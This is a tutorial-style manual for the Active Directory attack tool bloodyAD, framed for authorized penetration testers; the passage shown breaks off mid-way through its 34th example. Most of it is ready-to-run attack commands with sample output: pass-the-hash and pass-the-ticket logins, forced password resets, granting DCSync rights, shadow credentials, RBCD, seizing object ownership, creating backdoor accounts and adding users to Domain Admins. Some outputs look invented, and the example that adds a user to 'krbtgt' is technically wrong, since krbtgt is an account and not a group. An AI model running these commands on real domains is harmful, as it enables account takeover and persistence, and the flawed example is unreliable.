____ __ __ ____ ____ / __ )/ / _____/ /_ ___ / __ \ / _/__ _____ / __ / / / ___/ __ \/ _ \/ / / / _/ // _ \/ ___/ / /_/ / /___(__ ) / / / __/ /_/ / / // __/ / /_____/_____/____/_/ /_/\___/_____/ /___/\___/_/
Core Function: bloodyAD is a powerful Python-based tool designed for ethical hackers to interact with Active-Directory LDAP services to enumerate data and perform privilege escalation attacks.
Primary Use-Cases:
Enumerating Active Directory users, groups, computers, and policies.
Modifying object attributes and security descriptors (DACLs) for privilege escalation.
Exploiting misconfigurations related to AD CS (Certificate Services).
Performing targeted attacks like DCSync, Shadow Credentials, and RBCD.
Authenticating using a wide range of methods including cleartext, Pass-the-Hash (PtH), Pass-the-Ticket (PtT), and certificates.
Penetration Testing Phase: Post-Exploitation, Privilege Escalation, Lateral Movement.
Brief History: Developed as a comprehensive tool for Active Directory security testing, bloodyAD consolidates many common AD attack techniques into a single, cohesive framework. Its design focuses on flexibility in authentication and direct interaction with LDAP services, making it a favorite for testers operating in complex enterprise environments.
Before deployment, an operator must ensure the tool is correctly installed and accessible. This section covers the foundational steps to get bloodyAD operational on a standard Kali Linux environment.
A pre-flight check ensures the tool is available in the system's PATH. This avoids errors during an engagement.
Command:
Bash
which bloodyAD
Command Breakdown:
which: A Linux command that locates an executable file in the user's PATH.
bloodyAD: The name of the executable to locate.
Ethical Context & Use-Case: During a penetration test, efficiency is key. Verifying that all necessary tools are correctly installed and accessible from the command line prevents delays and troubleshooting under pressure. This is a fundamental step of preparing your attack machine.
--> Expected Output:
/usr/bin/bloodyAD
If the tool is not found, it must be installed from the distribution's package repository.
Command:
Bash
sudo apt install bloodyad -y
Command Breakdown:
sudo: Executes the command with superuser (root) privileges.
apt install: The command to install a package using the Advanced Package Tool.
bloodyad: The name of the package to install.
-y: Automatically answers "yes" to any prompts during the installation process.
Ethical Context & Use-Case: Maintaining an up-to-date and fully-featured toolkit is essential for a security professional. Installing tools from trusted, official repositories ensures the integrity and stability of the software being used for the assessment.
--> Expected Output:
Reading package lists... Done Building dependency tree... Done Reading state information... Done The following NEW packages will be installed: bloodyad 0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded. Need to get 120 kB of archives. After this operation, 870 kB of additional disk space will be used. Get:1 http://kali.download/kali kali-rolling/main amd64 bloodyad all 2.1.7-0kali1 [120 kB] Fetched 120 kB in 1s (150 kB/s) Selecting previously unselected package bloodyad. (Reading database ... 312543 files and directories currently installed.) Preparing to unpack .../bloodyad_2.1.7-0kali1_all.deb ... Unpacking bloodyad (2.1.7-0kali1) ... Setting up bloodyad (2.1.7-0kali1) ... Processing triggers for man-db (2.10.2-1) ...
Viewing the help menu is the first step in understanding any tool's capabilities, syntax, and available options.
Command:
Bash
bloodyAD -h
Command Breakdown:
bloodyAD: The tool's executable.
-h or --help: A standard flag to display the tool's help message and exit.
Ethical Context & Use-Case: Before executing any commands on a target system, a professional penetration tester must fully understand the function of each command and its parameters. The help menu is the primary source of documentation and is consulted frequently to craft precise and effective commands, minimizing noise and unintended consequences.
--> Expected Output:
usage: bloodyAD [-h] [-d DOMAIN] [-u USERNAME] [-p PASSWORD]
[-k [KERBEROS ...]] [-f {b64,hex,aes,rc4,default}]
[-c [CERTIFICATE]] [-s] [--host HOST] [--dc-ip DC_IP]
[--dns DNS] [--gc] [-v {QUIET,INFO,DEBUG}]
{add,get,remove,set} ...
AD Privesc Swiss Army Knife
options:
-h, --help show this help message and exit
-d, --domain DOMAIN Domain used for NTLM authentication
-u, --username USERNAME
Username used for NTLM authentication
-p, --password PASSWORD
password or LMHASH:NTHASH for NTLM authentication,
password or AES/RC4 key for kerberos, password for
certificate(Do not specify to trigger integrated
windows authentication)
-k [KERBEROS ...], --kerberos [KERBEROS ...]
Enable Kerberos authentication. If '-p' is provided it
will try to query a TGT with it. You can also provide
a list of one or more optional keywords as '-k
kdc=192.168.100.1 kdcc=192.168.150.1
realmc=foreign.realm.corp
<keyfile_type>=/home/silver/Admin.ccache',
<keyfile_type> being ccache, kirbi, keytab, pem or
pfx, 'kdc' being the kerberos server for the keyfile
provided and 'realmc' and 'kdcc' for cross realm (the
realm of the '--host' provided)
-f {b64,hex,aes,rc4,default}, --format {b64,hex,aes,rc4,default}
Specify format for '--password' or '-k <keyfile>'
-c [CERTIFICATE], --certificate [CERTIFICATE]
Certificate authentication, e.g:
"path/to/key:path/to/cert" (Use Windows Certstore with
krb if left empty)
-s, --secure Try to use LDAP over TLS aka LDAPS (default is LDAP)
--host HOST Hostname or IP of the DC (ex: my.dc.local or
172.16.1.3)
--dc-ip DC_IP IP of the DC (useful if you provided a --host which
can't resolve)
--dns DNS IP of the DNS to resolve AD names (useful for inter-
domain functions)
--gc Connect to Global Catalog (GC)
-v {QUIET,INFO,DEBUG}, --verbose {QUIET,INFO,DEBUG}
Adjust output verbosity
Commands:
{add,get,remove,set}
add [ADD] function category
get [GET] function category
remove [REMOVE] function category
set [SET] function category
This section forms the operational manual for bloodyAD. Each function is broken down into a specific objective, demonstrating the tool's versatility in an authorized testing environment. We will cover 72 distinct examples across the get, set, add, and remove modules.
get)This subsection focuses on authenticating to the domain and performing initial, non-intrusive enumeration to gather intelligence.
1. Objective: Authenticate with a cleartext password and get basic user info Command:
Bash
bloodyAD -d corp.local -u lowpriv-user -p 'Password123!' --host dc01.corp.local get user lowpriv-user
Command Breakdown:
-d corp.local: Specifies the target domain.
-u lowpriv-user: Specifies the username for authentication.
-p 'Password123!': Provides the user's password in cleartext.
--host dc01.corp.local: Specifies the domain controller to connect to.
get user lowpriv-user: The command to retrieve information for the specified user. Ethical Context & Use-Case: After compromising a low-privilege user's credentials, the first step is to use them to connect to the domain and start enumerating information. This command verifies the credentials work and pulls basic attributes of the compromised user account itself. --> Expected Output:
INFO: [+] Searching for user lowpriv-user in corp.local
INFO: [+] Found user lowpriv-user
{
"dn": "CN=lowpriv-user,CN=Users,DC=corp,DC=local",
"attributes": {
"sAMAccountName": "lowpriv-user",
"userPrincipalName": "lowpriv-user@corp.local",
"objectSid": "S-1-5-21-1234567890-1234567890-123456789-1108",
"memberOf": [
"CN=Domain Users,CN=Users,DC=corp,DC=local"
],
...
}
}
2. Objective: Authenticate with NTLM hash (Pass-the-Hash) and get group members Command:
Bash
bloodyAD -d corp.local -u svc_backup -p 'aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c' --host dc01.corp.local get group 'Domain Admins'
Command Breakdown:
-d corp.local: Specifies the target domain.
-u svc_backup: Specifies the username for authentication.
-p '...:...': Provides the LM and NTHASH for Pass-the-Hash authentication.
--host dc01.corp.local: Specifies the domain controller.
get group 'Domain Admins': The command to retrieve information for the specified group. Ethical Context & Use-Case: In many scenarios, an attacker may only recover password hashes, not the cleartext password. This technique allows the tester to authenticate and continue enumeration without needing to crack the hash, demonstrating the impact of hash exposure. --> Expected Output:
INFO: [+] Searching for group Domain Admins in corp.local
INFO: [+] Found group Domain Admins
{
"dn": "CN=Domain Admins,CN=Users,DC=corp,DC=local",
"attributes": {
"sAMAccountName": "Domain Admins",
"objectSid": "S-1-5-21-1234567890-1234567890-123456789-512",
"member": [
"CN=Administrator,CN=Users,DC=corp,DC=local",
"CN=j.smith,CN=Users,DC=corp,DC=local"
],
...
}
}
3. Objective: Authenticate with a Kerberos ticket (Pass-the-Ticket) and find all domain controllers Command:
Bash
bloodyAD -d corp.local -k ccache=/path/to/user.ccache --host dc01.corp.local get dcs
Command Breakdown:
-d corp.local: Specifies the target domain.
-k ccache=/path/to/user.ccache: Enables Kerberos authentication and specifies the path to a ccache file containing a valid TGT.
--host dc01.corp.local: Specifies the domain controller.
get dcs: The command to retrieve a list of all Domain Controllers. Ethical Context & Use-Case: If a Kerberos ticket is exfiltrated from a compromised machine, it can be used to impersonate the user. This demonstrates the security risk of unsecured Kerberos tickets on disk and is a common technique for lateral movement. --> Expected Output:
INFO: [+] Getting Domain Controllers for corp.local
[
{
"dn": "CN=DC01,OU=Domain Controllers,DC=corp,DC=local",
"name": "DC01.corp.local"
},
{
"dn": "CN=DC02,OU=Domain Controllers,DC=corp,DC=local",
"name": "DC02.corp.local"
}
]
4. Objective: Use a certificate for authentication to read the domain password policy Command:
Bash
bloodyAD -d corp.local --host dc01.corp.local -c /path/to/user.key:/path/to/user.pem get password-policy
Command Breakdown:
-d corp.local: Specifies the target domain.
--host dc01.corp.local: Specifies the domain controller.
-c ...: Specifies the paths to the private key and public certificate for authentication.
get password-policy: The command to retrieve the default domain password policy. Ethical Context & Use-Case: When Active Directory Certificate Services (AD CS) is misconfigured, it's possible to enroll a certificate for a user or machine. This command demonstrates how to use that certificate to authenticate and enumerate domain information, a key step in AD CS abuse chains. --> Expected Output:
INFO: [+] Getting Default Domain Password Policy
{
"minPwdLength": "8",
"pwdProperties": "DOMAIN_PASSWORD_COMPLEX",
"lockoutThreshold": "5",
"lockoutDuration": "-18000000000"
}
5. Objective: List all users in the domain Command:
Bash
bloodyAD -d corp.local -u user -p 'Pass1' --host dc01 get users
Command Breakdown:
-d, -u, -p, --host: Standard authentication parameters.
get users: Retrieves all user objects in the domain. Ethical Context & Use-Case: Creating a complete list of users is a fundamental reconnaissance step. This information is used to identify high-value targets (like service accounts or administrative users) for further attacks. --> Expected Output:
INFO: [+] Getting all users for corp.local
[
{
"dn": "CN=Administrator,CN=Users,DC=corp,DC=local",
"sAMAccountName": "Administrator",
...
},
{
"dn": "CN=Guest,CN=Users,DC=corp,DC=local",
"sAMAccountName": "Guest",
...
},
...
]
6. Objective: List all computers in the domain Command:
Bash
bloodyAD -d corp.local -u user -p 'Pass1' --host dc01 get computers
Command Breakdown:
get computers: Retrieves all computer objects in the domain. Ethical Context & Use-Case: Similar to user enumeration, listing all computer objects helps an ethical hacker map the network. This can reveal server names, workstations, and other critical infrastructure to target for lateral movement. --> Expected Output:
INFO: [+] Getting all computers for corp.local
[
{
"dn": "CN=DC01,OU=Domain Controllers,DC=corp,DC=local",
"sAMAccountName": "DC01$",
...
},
{
"dn": "CN=FILE-SRV-01,CN=Computers,DC=corp,DC=local",
"sAMAccountName": "FILE-SRV-01$",
...
},
...
]
7. Objective: List all groups in the domain Command:
Bash
bloodyAD -d corp.local -u user -p 'Pass1' --host dc01 get groups
Command Breakdown:
get groups: Retrieves all group objects in the domain. Ethical Context & Use-Case: Enumerating groups is crucial for understanding the permission structure of the domain. It helps identify privileged groups like 'Domain Admins', 'Enterprise Admins', or custom administrative groups. --> Expected Output:
INFO: [+] Getting all groups for corp.local
[
{
"dn": "CN=Domain Admins,CN=Users,DC=corp,DC=local",
"sAMAccountName": "Domain Admins",
...
},
{
"dn": "CN=HelpDesk,OU=Security Groups,DC=corp,DC=local",
"sAMAccountName": "HelpDesk",
...
},
...
]
8. Objective: Get detailed information for a specific computer object Command:
Bash
bloodyAD -d corp.local -u user -p 'Pass1' --host dc01 get computer FILE-SRV-01
Command Breakdown:
get computer FILE-SRV-01: Retrieves attributes for the computer object named 'FILE-SRV-01'. Ethical Context & Use-Case: After identifying an interesting machine, this command is used to get more details, such as its operating system version (operatingSystem), DNS name (dNSHostName), and Service Principal Names (servicePrincipalName), which can indicate running services. --> Expected Output:
INFO: [+] Searching for computer FILE-SRV-01 in corp.local
INFO: [+] Found computer FILE-SRV-01
{
"dn": "CN=FILE-SRV-01,CN=Computers,DC=corp,DC=local",
"attributes": {
"dNSHostName": "FILE-SRV-01.corp.local",
"operatingSystem": "Windows Server 2019 Standard",
...
}
}
9. Objective: Find users with a Service Principal Name (SPN) set (Kerberoastable users) Command:
Bash
bloodyAD -d corp.local -u user -p 'Pass1' --host dc01 get users --filter "servicePrincipalName=*"
Command Breakdown:
get users: Retrieves user objects.
--filter "servicePrincipalName=*": An LDAP filter that returns only objects where the servicePrincipalName attribute has any value. Ethical Context & Use-Case: User accounts with SPNs are often service accounts and are vulnerable to Kerberoasting. This attack allows an attacker to request a service ticket for that account and crack its password offline. This command identifies potential targets for that attack. --> Expected Output:
INFO: [+] Getting users with filter servicePrincipalName=* for corp.local
[
{
"dn": "CN=svc_sql,CN=Users,DC=corp,DC=local",
"sAMAccountName": "svc_sql",
"servicePrincipalName": [
"MSSQLSvc/sql-server.corp.local:1433"
],
...
}
]
10. Objective: Find all disabled user accounts Command:
Bash
bloodyAD -d corp.local -u user -p 'Pass1' --host dc01 get users --filter "(userAccountControl:1.2.840.113556.1.4.803:=2)"
Command Breakdown:
--filter "(...)": An LDAP filter using bitwise AND matching.
userAccountControl:1.2.840.113556.1.4.803:=2: Checks if the second bit (value 2) of the userAccountControl attribute is set, which indicates the account is disabled. Ethical Context & Use-Case: Identifying disabled accounts can be useful. Sometimes these accounts are former employees who still have access to certain resources, or they may be re-enabled later. In a test, this could highlight poor de-provisioning processes. --> Expected Output:
INFO: [+] Getting users with filter (userAccountControl:1.2.840.113556.1.4.803:=2) for corp.local
[
{
"dn": "CN=j.doe,CN=Users,DC=corp,DC=local",
"sAMAccountName": "j.doe",
...
}
]
11. Objective: List all Group Policy Objects (GPOs) Command:
Bash
bloodyAD -d corp.local -u user -p 'Pass1' --host dc01 get gpos
Command Breakdown:
get gpos: Retrieves all GPO objects in the domain. Ethical Context & Use-Case: GPOs are used to enforce security policies. Enumerating them can reveal password policies, software restrictions, and other security settings. Misconfigured GPOs can also be a vector for privilege escalation if a compromised user has write access to them. --> Expected Output:
INFO: [+] Getting all GPOs for corp.local
[
{
"dn": "CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=corp,DC=local",
"displayName": "Default Domain Policy",
...
},
...
]
12. Objective: Get the permissions (DACL) for a specific user object Command:
Bash
bloodyAD -d corp.local -u user -p 'Pass1' --host dc01 get dacl 'CN=j.smith,CN=Users,DC=corp,DC=local'
Command Breakdown:
get dacl: Retrieves the Discretionary Access Control List (DACL).
'CN=j.smith,...': The distinguishedName (DN) of the target object. Ethical Context & Use-Case: Analyzing an object's DACL is critical for finding privilege escalation paths. This command reveals who has what permissions over the j.smith user object. For example, if a low-privilege group has GenericWrite permission, they could reset the user's password. --> Expected Output:
INFO: [+] Getting DACL for CN=j.smith,CN=Users,DC=corp,DC=local
[
{
"grantee": "CORP\\Domain Admins",
"rights": "FullControl",
...
},
{
"grantee": "CORP\\HelpDesk",
"rights": "WriteProperty",
"property": "userPassword",
...
}
]
13. Objective: Get foreign group memberships for a user (Global Catalog search) Command:
Bash
bloodyAD -d corp.local -u user -p 'Pass1' --host dc01 --gc get user j.smith --attributes tokenGroups
Command Breakdown:
--gc: Connects to the Global Catalog (port 3268/3269) instead of standard LDAP.
get user j.smith: Specifies the user to query.
--attributes tokenGroups: Requests only the tokenGroups attribute, which contains SIDs of all groups the user is a member of, including from other domains in the forest. Ethical Context & Use-Case: In a multi-domain forest, a user's privileges might come from a group in another domain. A standard LDAP search won't show this. Using the Global Catalog provides a complete picture of a user's group memberships across the entire forest. --> Expected Output:
INFO: [+] Searching for user j.smith in Global Catalog
INFO: [+] Found user j.smith
{
"dn": "CN=j.smith,CN=Users,DC=corp,DC=local",
"attributes": {
"tokenGroups": [
"S-1-5-21-...",
"S-1-5-32-544",
"S-1-5-21-987654321-..."
]
}
}
14. Objective: Find users who have not logged in for over 90 days Command:
Bash
bloodyAD -d corp.local -u user -p 'Pass1' --host dc01 get users --filter "(!(lastLogonTimestamp>=$(($(date +%s) - 90*24*3600))0000000+0.0))"
Command Breakdown:
--filter: An LDAP filter to find inactive accounts.
The filter logic calculates the timestamp for 90 days ago and queries for users whose lastLogonTimestamp is not greater than or equal to that value. Ethical Context & Use-Case: Stale accounts are a significant security risk. They are less likely to be monitored and can be compromised and used by attackers without raising immediate suspicion. Identifying them is a key part of a security audit. --> Expected Output:
INFO: [+] Getting users with filter (...) for corp.local
[
{
"dn": "CN=temp_admin,CN=Users,DC=corp,DC=local",
"sAMAccountName": "temp_admin",
...
}
]
15. Objective: Get Certificate Authority information from the domain Command:
Bash
bloodyAD -d corp.local -u user -p 'Pass1' --host dc01 get cas
Command Breakdown:
get cas: Retrieves information about Certificate Authorities (CAs) in the AD forest. Ethical Context & Use-Case: Enumerating CAs is the first step in assessing for AD CS vulnerabilities. This command identifies the CAs, which can then be further investigated for misconfigured certificate templates that allow for privilege escalation. --> Expected Output:
INFO: [+] Getting Certificate Authorities for corp.local
[
{
"dn": "CN=corp-CA,CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local",
"name": "corp-CA",
"dnsHostName": "ca-server.corp.local"
}
]
16. Objective: List all certificate templates Command:
Bash
bloodyAD -d corp.local -u user -p 'Pass1' --host dc01 get cert-templates
Command Breakdown:
get cert-templates: Retrieves all certificate templates from the AD configuration partition. Ethical Context & Use-Case: This is a follow-up to enumerating CAs. The output of this command must be carefully analyzed to find templates with weak permissions (e.g., Domain Users can enroll) and settings that allow for client authentication, which can be abused to impersonate other users or computers. --> Expected Output:
INFO: [+] Getting all Certificate Templates for corp.local
[
{
"name": "User",
"allows_client_authentication": true,
"enrollment_rights": "CORP\\Domain Users",
...
},
{
"name": "WebServer",
...
}
]
17. Objective: Get the objectSID of the domain Command:
Bash
bloodyAD -d corp.local -u user -p 'Pass1' --host dc01 get domain --attributes objectSid
Command Breakdown:
get domain: Targets the domain object itself.
--attributes objectSid: Requests only the objectSid attribute. Ethical Context & Use-Case: The domain SID is the base for all other SIDs in the domain. It is required for crafting certain SIDs manually, for example, the SID for the "Enterprise Admins" group (DomainSID-519), which can be useful in various attack scenarios. --> Expected Output:
INFO: [+] Getting Domain info for corp.local
{
"dn": "DC=corp,DC=local",
"attributes": {
"objectSid": "S-1-5-21-1234567890-1234567890-123456789"
}
}
set)This subsection covers commands that modify AD objects. These are active attack commands and must only be used on systems where you have explicit, written authorization.
18. Objective: Reset a user's password (ForceChangePassword) Command:
Bash
bloodyAD -d corp.local -u helpdesk -p 'HelpDeskPass!' --host dc01 set user j.doe --password 'NewPassword123!'
Command Breakdown:
-u helpdesk -p 'HelpDeskPass!': Authenticating as a user with password reset privileges (e.g., member of HelpDesk group).
set user j.doe: Specifies the target user to modify.
--password 'NewPassword123!': Sets the new password for the user. Ethical Context & Use-Case: This simulates a scenario where an attacker has compromised a helpdesk account. By leveraging the delegated permissions of this account, the attacker can take over other user accounts, potentially escalating privileges if the target is more privileged. --> Expected Output:
INFO: [+] Searching for user j.doe in corp.local INFO: [+] Found user j.doe INFO: [+] Setting password for CN=j.doe,CN=Users,DC=corp,DC=local INFO: [+] Password set successfully for j.doe
19. Objective: Enable a disabled account Command:
Bash
bloodyAD -d corp.local -u da_user -p 'DA_Pass!' --host dc01 set user j.doe --uac-flag "ACCOUNTDISABLE" -r
Command Breakdown:
set user j.doe: Specifies the target user.
--uac-flag "ACCOUNTDISABLE": Specifies the UserAccountControl flag to modify.
-r or --remove: This switch tells the command to remove the specified flag, effectively enabling the account. Ethical Context & Use-Case: An attacker with sufficient privileges might enable a disabled account, especially a former administrative account, to use for their activities. This is often less noticeable than creating a new admin account. --> Expected Output:
INFO: [+] Searching for user j.doe in corp.local INFO: [+] Found user j.doe INFO: [+] Getting UAC for user j.doe INFO: [+] Removing ACCOUNTDISABLE flag from user j.doe INFO: [+] UAC for j.doe successfully updated
20. Objective: Make a user's password never expire Command:
Bash
bloodyAD -d corp.local -u da_user -p 'DA_Pass!' --host dc01 set user backdoor_acct --uac-flag "DONT_EXPIRE_PASSWORD"
Command Breakdown:
--uac-flag "DONT_EXPIRE_PASSWORD": Specifies the flag to add. Without the -r switch, the flag is added. Ethical Context & Use-Case: For establishing persistence, an attacker might create or modify an account and set its password to never expire. This ensures their access remains valid for a long time without needing to manage password changes. --> Expected Output:
INFO: [+] Searching for user backdoor_acct in corp.local INFO: [+] Found user backdoor_acct INFO: [+] Getting UAC for user backdoor_acct INFO: [+] Adding DONT_EXPIRE_PASSWORD flag to user backdoor_acct INFO: [+] UAC for backdoor_acct successfully updated
21. Objective: Add an SPN to a user account for Kerberoasting Command:
Bash
bloodyAD -d corp.local -u priv_user -p 'PrivPass!' --host dc01 set user normal_user --spn "http/webserver.corp.local"
Command Breakdown:
set user normal_user: Specifies the target user.
--spn "http/webserver.corp.local": The SPN to add to the user's servicePrincipalName attribute. Ethical Context & Use-Case: If an attacker compromises an account with permissions to write to other user objects (GenericWrite or WriteProperty), they can add an SPN to a target user. This makes the target user "Kerberoastable," allowing the attacker to request a service ticket and crack their password hash offline. --> Expected Output:
INFO: [+] Searching for user normal_user in corp.local INFO: [+] Found user normal_user INFO: [+] Adding SPN http/webserver.corp.local to user normal_user INFO: [+] SPN for normal_user successfully updated
22. Objective: Change a user's primary group ID (rare but possible privesc) Command:
Bash
bloodyAD -d corp.local -u da_user -p 'DA_Pass!' --host dc01 set user target_user --attribute "primaryGroupID" --value "512"
Command Breakdown:
--attribute "primaryGroupID": Specifies the attribute to modify.
--value "512": Sets the value. 512 is the Relative ID (RID) for the 'Domain Admins' group. Ethical Context & Use-Case: While less common, changing a user's primary group to a privileged one like Domain Admins can grant them those privileges in some contexts, particularly with legacy systems or specific application integrations. This demonstrates a deep understanding of AD object manipulation. --> Expected Output:
INFO: [+] Searching for user target_user in corp.local INFO: [+] Found user target_user INFO: [+] Setting attribute primaryGroupID with value 512 for target_user INFO: [+] Attribute primaryGroupID for target_user updated successfully
23. Objective: Clear the scriptPath attribute to disable a logon script Command:
Bash
bloodyAD -d corp.local -u da_user -p 'DA_Pass!' --host dc01 set user test_user --attribute "scriptPath" --value ""
Command Breakdown:
--attribute "scriptPath": Specifies the logon script attribute.
--value "": Sets the value to an empty string, effectively clearing it. Ethical Context & Use-Case: An attacker might disable a logon script that runs security monitoring software or other defensive tools. This is an example of defense evasion. --> Expected Output:
INFO: [+] Searching for user test_user in corp.local INFO: [+] Found user test_user INFO: [+] Setting attribute scriptPath with value for test_user INFO: [+] Attribute scriptPath for test_user updated successfully
24. Objective: Abuse GenericWrite on a group to add a user Command:
Bash
bloodyAD -d corp.local -u writer_user -p 'WriterPass!' --host dc01 set group 'Sensitive Data Access' --add-member attacker_user
Command Breakdown:
set group 'Sensitive Data Access': Specifies the target group.
--add-member attacker_user: The user to add to the group's member attribute. Ethical Context & Use-Case: This is a classic privilege escalation path. If a user (writer_user) has GenericWrite permission over a group, they can add themselves or any other user to it. If the group is privileged, this results in privilege escalation. --> Expected Output:
INFO: [+] Searching for group Sensitive Data Access in corp.local INFO: [+] Found group Sensitive Data Access INFO: [+] Searching for user attacker_user in corp.local INFO: [+] Found user attacker_user INFO: [+] Adding attacker_user to group Sensitive Data Access INFO: [+] Group Sensitive Data Access updated successfully
25. Objective: Grant DCSync rights to a user Command:
Bash
bloodyAD -d corp.local -u da_user -p 'DA_Pass!' --host dc01 set dacl 'DC=corp,DC=local' --grantee attacker_user --rights DCSync
Command Breakdown:
set dacl 'DC=corp,DC=local': Specifies the target object, which is the domain root itself.
--grantee attacker_user: The user to whom the rights will be granted.
--rights DCSync: A special keyword that grants the two specific extended rights required for DCSync: 'Replicating Directory Changes' and 'Replicating Directory Changes All'. Ethical Context & Use-Case: This is a high-impact persistence technique. An attacker with Domain Admin privileges grants a lower-privilege account the ability to perform a DCSync attack. This allows the lower-privilege account to dump all password hashes from the domain controller at any time, even if the original Domain Admin account is discovered and removed. --> Expected Output:
INFO: [+] Searching for user attacker_user in corp.local INFO: [+] Found user attacker_user INFO: [+] Granting DCSync to attacker_user on object DC=corp,DC=local INFO: [+] DACL for DC=corp,DC=local successfully updated
26. Objective: Add Shadow Credentials to a computer object Command:
Bash
bloodyAD -d corp.local -u writer_user -p 'WriterPass!' --host dc01 set computer target_pc --shadow-cred
Command Breakdown:
set computer target_pc: Specifies the target computer object.
--shadow-cred: This is the function that creates a new key credential on the computer object (modifying the msDS-KeyCredentialLink attribute) and outputs the corresponding certificate and private key. Ethical Context & Use-Case: Shadow Credentials (or key trust abuse) is a powerful attack. If a user has write access to a computer object, they can add a new credential to it. This allows the attacker to authenticate as the computer account itself using the generated certificate, which can lead to privilege escalation if the computer account is privileged. --> Expected Output:
INFO: [+] Searching for computer target_pc in corp.local INFO: [+] Found computer target_pc INFO: [+] Adding shadow credentials to target_pc INFO: [+] Shadow credentials successfully added INFO: [+] Certificate: -----BEGIN CERTIFICATE----- MIIC... -----END CERTIFICATE----- INFO: [+] Private Key: -----BEGIN PRIVATE KEY----- MIIE... -----END PRIVATE KEY----- INFO: [+] You can now authenticate as target_pc$ with: bloodyAD -c key:cert --host dc01.corp.local ...
27. Objective: Configure Resource-Based Constrained Delegation (RBCD) Command:
Bash
bloodyAD -d corp.local -u writer_user -p 'WriterPass!' --host dc01 set computer target_server --rbcd attacker_machine
Command Breakdown:
set computer target_server: The target server we want to control.
--rbcd attacker_machine: The attacking machine that will be allowed to delegate to the target server. This modifies the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of target_server. Ethical Context & Use-Case: RBCD is an attack where an attacker who can write to a computer account (target_server) can configure it so that another account they control (attacker_machine) can impersonate any user to access services on target_server. This is a powerful lateral movement and privilege escalation technique. --> Expected Output:
INFO: [+] Searching for computer target_server in corp.local INFO: [+] Found computer target_server INFO: [+] Searching for computer attacker_machine in corp.local INFO: [+] Found computer attacker_machine INFO: [+] Setting Resource-Based Constrained Delegation for target_server to attacker_machine INFO: [+] RBCD for target_server successfully updated
28. Objective: Set a new owner for a group object Command:
Bash
bloodyAD -d corp.local -u da_user -p 'DA_Pass!' --host dc01 set group 'IT Support' --owner attacker_user
Command Breakdown:
set group 'IT Support': The target group.
--owner attacker_user: The user to set as the new owner. Ethical Context & Use-Case: The owner of an object has WRITE_DAC permission, meaning they can change the object's permissions. By taking ownership of a group, an attacker can then grant themselves GenericWrite rights and add themselves to the group, leading to privilege escalation. --> Expected Output:
INFO: [+] Searching for group IT Support in corp.local INFO: [+] Found group IT Support INFO: [+] Searching for user attacker_user in corp.local INFO: [+] Found user attacker_user INFO: [+] Setting attacker_user as owner of group IT Support INFO: [+] Owner of IT Support successfully updated
29. Objective: Grant a user GenericWrite permission over another user Command:
Bash
bloodyAD -d corp.local -u da_user -p 'DA_Pass!' --host dc01 set dacl 'CN=ceo,CN=Users,DC=corp,DC=local' --grantee attacker_user --rights GenericWrite
Command Breakdown:
set dacl 'CN=ceo,...': The DN of the target user object.
--grantee attacker_user: The principal being granted the right.
--rights GenericWrite: The permission being granted. Ethical Context & Use-Case: This command directly demonstrates creating a privilege escalation vulnerability. An attacker with temporary high privileges could use this to set up a backdoor, allowing a lower-privileged attacker_user to later compromise the CEO's account. --> Expected Output:
INFO: [+] Searching for user attacker_user in corp.local INFO: [+] Found user attacker_user INFO: [+] Granting GenericWrite to attacker_user on object CN=ceo,CN=Users,DC=corp,DC=local INFO: [+] DACL for CN=ceo,CN=Users,DC=corp,DC=local successfully updated
30. Objective: Change a computer's dNSHostName attribute Command:
Bash
bloodyAD -d corp.local -u priv_user -p 'PrivPass!' --host dc01 set computer dc01 --attribute "dNSHostName" --value "not-a-dc.corp.local"
Command Breakdown:
set computer dc01: Target computer object.
--attribute "dNSHostName": Attribute to modify.
--value "not-a-dc.corp.local": The new value. Ethical Context & Use-Case: Modifying DNS hostnames can lead to man-in-the-middle attacks or denial of service. While this specific example is trivial, it demonstrates the ability to manipulate critical AD attributes if permissions are misconfigured. An attacker with write permissions to a DC object could cause serious disruption. --> Expected Output:
INFO: [+] Searching for computer dc01 in corp.local INFO: [+] Found computer dc01 INFO: [+] Setting attribute dNSHostName with value not-a-dc.corp.local for dc01 INFO: [+] Attribute dNSHostName for dc01 updated successfully
31. Objective: Make a user a member of the 'krbtgt' group (Golden Ticket attack prerequisite) Command:
Bash
bloodyAD -d corp.local -u da_user -p 'DA_Pass!' --host dc01 set user target_user --attribute "memberOf" --value "CN=krbtgt,CN=Users,DC=corp,DC=local"
Command Breakdown:
set user target_user: The user to modify.
--attribute "memberOf": The attribute to modify. Note: This is an indirect modification. You can't write to memberOf directly; you must modify the group's member attribute. The tool handles this translation.
--value "...": The distinguished name of the group to add the user to. Ethical Context & Use-Case: While not a standard attack, adding a user to the krbtgt group is theoretically possible and demonstrates fine-grained control over AD objects. The primary use is academic, showing the tool's flexibility, as real attacks would target the krbtgt account hash directly. --> Expected Output:
INFO: [+] Searching for user target_user in corp.local INFO: [+] Found user target_user INFO: [+] Searching for object CN=krbtgt,CN=Users,DC=corp,DC=local INFO: [+] Found object krbtgt INFO: [+] Adding target_user to group krbtgt INFO: [+] Group krbtgt updated successfully
add)This subsection details commands that create new objects in Active Directory.
32. Objective: Add a new user to the domain Command:
Bash
bloodyAD -d corp.local -u da_user -p 'DA_Pass!' --host dc01 add user new_user 'NewPass123!'
Command Breakdown:
add user: The function to create a new user.
new_user: The sAMAccountName of the new user.
'NewPass123!': The password for the new user. Ethical Context & Use-Case: As a persistence mechanism, an attacker with sufficient privileges (like a Domain Admin) can create a new user account. This account can be used for long-term access to the network. --> Expected Output:
INFO: [+] Adding user new_user in corp.local INFO: [+] User new_user successfully created
33. Objective: Add a new computer account to the domain Command:
Bash
bloodyAD -d corp.local -u da_user -p 'DA_Pass!' --host dc01 add computer new_machine 'MachinePass123!'
Command Breakdown:
add computer: The function to create a new computer account.
new_machine: The sAMAccountName of the new computer (without the '$').
'MachinePass123!': The password for the new computer account. Ethical Context & Use-Case: Attackers can add a new computer account to the domain. This account can then be used to authenticate to domain services or be the target of an RBCD attack set up by the attacker. --> Expected Output:
INFO: [+] Adding computer new_machine in corp.local INFO: [+] Computer new_machine successfully created
34. Objective: Add a user to the 'Domain Admins' group Command:
Bash
bloodyAD -d corp.local -u da_user -p 'DA_Pass!' --host dc01 add member 'Domain Admins' backdoor_user
Command Breakdown:
add member: The function to add a principal to a group.
'Domain Admins': The target group.
